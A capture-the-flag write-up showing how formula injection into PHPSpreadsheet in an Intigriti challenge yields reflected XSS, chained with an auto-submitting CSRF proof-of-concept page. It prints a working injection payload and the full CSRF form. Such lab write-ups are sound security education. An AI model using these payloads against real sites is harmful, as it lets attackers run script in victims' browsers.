This is my first write-up ever for a challenge. Glad I was able to solve this challenge, which I had a lot of fun from in the process.
The challenge link: challenge
The code for this challenge is short, I will only paste the relevant PHP code block here:
<?php
if (isset($_POST['submit'])) {
if (empty($_POST['A']) || empty($_POST['B']) || empty($_POST['C'])) {
echo "<div class='alert alert-danger mt-3' role='alert'>Error: Missing vars...</div>";
}
elseif ($_POST['A'] == 0) {
echo "<div class='alert alert-danger mt-3' role='alert'>Error: The equation is not quadratic</div>";
} else {
// Calculate and Display the results
echo "<div class='alert alert-info mt-3' role='alert'>";
echo '<b>Roots:</b><br>';
$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
$discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
$r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';
echo Calculation::getInstance()->calculateFormula($r1Formula);
echo Calculation::getInstance()->calculateFormula($r2Formula);
echo "</div>";
}
}
?>The application calculates the quadratic equation from the three inputs which we have control over, the result is reflected on the page. So my obviously initial thought was that there must be reflected XSS.
We have to escape the formula correctly and get our own text in the output from the application, playing some time with the following code in my editor:
$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';I came up with the following inputs that popped an alert:
(B and C can be any number value)
A = 1)&"<svg onload=alert()>")
B = 2
C = 3
Because the PHPSpreadsheet library that's used to calculate the result, we have access to Excel functions,
the "&" is an Excel function that combines values together.
After the shown above inputs $r1Formula becomes:
=IMDIV(IMSUM(-2,IMSQRT(4)),2 * 1)&"<svg onload=alert(document.domain)>"))
Which is then passed into:
echo Calculation::getInstance()->calculateFormula($r1Formula);
This reflects the output with the payload appended, which causes the alert to popup.
So the alert pops up, but we're inputting those values ourselves, it's a self XSS as of now.
How can we pop an alert on the victim's browser without user interaction?
Fortunately, the author of the challenge has not implemented any security mechanism like CSP.
So we can craft a CSRF attack where we put our payload in.
POC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://challenge-0524.intigriti.io/challenge.php" method="POST">
<input type="hidden" name="A"
value="1)&"<svg onload=alert(document.domain)>")" />
<input type="hidden" name="B" value="2" />
<input type="hidden" name="C" value="3" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].requestSubmit();
</script>
</body>
</html>Put the above code in a html file and give it a name, next run it with for example python -m http.server 80.
Visit localhost:80/{filename} and an alert will popup on the challenge website without user interaction.